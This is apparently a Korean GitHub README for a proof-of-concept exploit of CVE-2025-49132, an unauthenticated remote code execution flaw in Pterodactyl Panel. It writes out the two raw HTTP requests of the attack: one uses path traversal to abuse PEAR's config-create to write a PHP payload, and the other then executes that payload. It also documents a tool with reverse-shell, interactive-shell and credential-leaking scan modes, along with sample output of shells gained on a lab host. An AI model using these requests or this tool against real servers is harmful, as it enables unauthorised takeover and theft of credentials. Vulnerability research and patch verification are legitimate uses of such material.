CVE-2025-49132: PHP PEAR 방식을 통한 Pterodactyl 패널 무인증 RCE

개요

이 저장소는 1.11.11 이전 버전의 Pterodactyl 패널에서 발생하는 치명적인 무인증 원격 코드 실행 취약점인 CVE-2025-49132에 대한 개념 증명(PoC) 익스플로잇을 포함합니다.

Pterodactyl 패널은 PHP로 구축된 무료 오픈소스 게임 서버 관리 패널입니다. 이 취약점은 PHP PEAR의 pearcmd.php 기능과 결합된 /locales/locale.json 엔드포인트의 부적절한 처리를 통해 인증되지 않은 공격자가 대상 서버에서 임의의 시스템 명령을 실행할 수 있게 합니다.

취약점 요약

CVE ID: CVE-2025-49132
CVSS 점수: 10.0 (치명적)
CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE: CWE-94: 코드 생성의 부적절한 제어 ('코드 인젝션')
영향을 받는 버전: Pterodactyl 패널 < 1.11.11
공격 복잡도: 낮음
필요한 권한: 없음 (무인증)
사용자 상호작용: 없음

취약점 세부 정보

PHP PEAR란 무엇인가?

PHP PEAR(PHP Extension and Application Repository)는 재사용 가능한 PHP 구성 요소를 위한 프레임워크이자 배포 시스템입니다. PEAR 패키지를 관리하는 데 사용할 수 있는 명령줄 도구(pearcmd.php)를 제공합니다.

pearcmd.php 파일은 URL 매개변수를 통해 명령을 처리하며, 경로 탐색과 결합되면 다음을 수행하는 데 악용될 수 있습니다:

시스템에 임의의 PHP 파일 생성
웹 서버를 통해 해당 파일 실행

근본 원인

취약점은 다음 이유로 존재합니다:

검증되지 않은 경로 탐색: /locales/locale.json의 locale 매개변수는 적절한 검증 없이 경로 탐색을 허용합니다
직접 파일 포함: 애플리케이션이 사용자 제어 입력에 따라 파일을 직접 포함합니다
PEAR 명령 인젝션: pearcmd.php 스크립트는 임의의 PHP 파일을 쓸 수 있는 +config-create 명령을 허용합니다
무인증 접근: 취약한 엔드포인트는 인증을 요구하지 않습니다

공격 벡터

공격자는 다음을 수행할 수 있습니다:

경로 탐색을 사용하여 PEAR 설치 디렉터리에 도달
config-create 명령을 남용하여 악성 PHP 코드를 /tmp에 작성
동일한 엔드포인트를 통해 악성 PHP 파일 실행
웹 서버 사용자 권한으로 완전한 원격 코드 실행 달성

기술 분석

악용 프로세스

익스플로잇은 두 단계로 작동합니다:

1단계: 페이로드 생성

GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

세부 분석:

+config-create+/ - PEAR의 구성 생성 기능 호출
locale=../../../../../../usr/share/php/PEAR - PEAR 디렉터리로의 경로 탐색
namespace=pearcmd - pearcmd.php 파일 대상 지정
<?=system('id')?>+/tmp/payload.php - PHP 페이로드 및 대상 파일

2단계: 페이로드 실행

GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

세부 분석:

locale=../../../../../../tmp - /tmp 디렉터리로의 경로 탐색
namespace=payload - payload.php 포함 및 실행

URL 인코딩이 익스플로잇을 깨뜨리는 이유

익스플로잇은 특수 문자(<, >, ?, =)를 인코딩하지 않고 URL로 전송해야 합니다. 이러한 문자가 URL 인코딩되면:

<?=system('id')?>는 %3C%3F%3Dsystem%28%27id%27%29%3F%3E가 됩니다
PEAR는 이를 PHP 코드가 아닌 리터럴 텍스트로 해석합니다
PHP 태그가 인식되지 않아 코드 실행이 차단됩니다

익스플로잇 흐름

graph TD
    A[Attacker] -->|1. Path Traversal Request| B[locale.json]
    B -->|2. Traverse to PEAR| C[pearcmd.php]
    C -->|3. config-create Command| D[Write PHP Payload]
    D -->|4. Create File| E[payload.php]
    E -->|5. File Created| F[Server Filesystem]
    
    A -->|6. Execution Request| G[locale.json]
    G -->|7. Traverse to tmp| E
    E -->|8. Include and Execute| H[PHP Interpreter]
    H -->|9. System Command| I[Shell Command]
    I -->|10. Command Output| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

공격 흐름 다이어그램

sequenceDiagram
    participant Attacker
    participant Web Server
    participant PEAR
    participant Filesystem
    participant PHP Engine
    
    Attacker->>Web Server: GET locale.json with config-create
    Web Server->>PEAR: Path Traversal to pearcmd
    PEAR->>Filesystem: Create payload.php
    Filesystem-->>Attacker: 200 OK
    
    Attacker->>Web Server: GET locale.json with payload namespace
    Web Server->>Filesystem: Path Traversal to payload.php
    Filesystem->>PHP Engine: Include payload
    PHP Engine->>PHP Engine: Execute system command
    PHP Engine-->>Attacker: Command Output RCE

설치

사전 요구사항

Python 3.6 이상
requests 라이브러리

저장소 클론

git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

종속성 설치

pip3 install -r requirements.txt

또는 수동으로:

pip3 install requests

사용법

기본 명령 실행

python3 poc.py -H <target_host> -c "<command>"

리버스 셸

# On attacker machine, start listener
nc -lvnp 4444

# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444

대화형 의사 셸

python3 poc.py -H <target_host> --shell

PEAR 설치 경로 퍼징

python3 poc.py -H <target_host> --fuzz

취약점 스캔

python3 poc.py -H <target_host> --scan

구성 유출(데이터베이스 자격 증명, 앱 키)을 통해 CVE-2025-49132를 확인합니다.

사용자 지정 PEAR 경로

python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

상세 출력

python3 poc.py -H <target_host> -c "id" -v

상세 진행 상황(페이로드 생성, PEAR 경로, 실행 상태)을 표시합니다.

전체 옵션

usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  Target host (e.g., 192.168.1.100 or example.com)
  -c COMMAND            Command to execute on target system
  -r REVERSE_SHELL      Reverse shell (format: LHOST:LPORT)
  --shell               Interactive pseudo-shell mode
  --fuzz                Fuzz for PEAR installation paths
  --scan                Scan target for vulnerability (config leaks)
  -p PEAR_PATH          Custom PEAR path (default: /usr/share/php/PEAR)
  -e ENDPOINT           Vulnerable endpoint (default: /locales/locale.json)
  --ssl                 Use HTTPS
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  -v, --verbose         Verbose progress output

예제

예제 1: 기본 명령 실행

$ python3 poc.py -H panel.pterodactyl.htb -c "id"

[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR

[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

상세 출력(페이로드 세부 정보, PEAR 경로 등)을 보려면 -v를 사용하세요.

예제 2: 리버스 셸

# Terminal 1: Start listener
$ nc -lvnp 4444
listening on [any] 4444 ...

# Terminal 2: Execute exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[!] Make sure your listener is running: nc -lvnp 4444

# Terminal 1: Receive connection
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$

예제 3: 대화형 의사 셸

$ python3 poc.py -H panel.pterodactyl.htb --shell

shell> whoami
www-data

shell> pwd
/var/www/pterodactyl

shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> exit

예제 4: PEAR 경로 퍼징

$ python3 poc.py -H panel.pterodactyl.htb --fuzz

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[+] Found 3 potential PEAR installation(s):
    /usr/share/php/PEAR
    /usr/share/pear
    /usr/local/lib/php/PEAR
[*] Use -p flag with one of these paths for exploitation

경로별 퍼징 진행 상황을 보려면 -v를 사용하세요.

예제 5: 취약점 스캐너

$ python3 poc.py -H panel.pterodactyl.htb --scan

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

CVE-2025-49132-PHP-PEAR

인기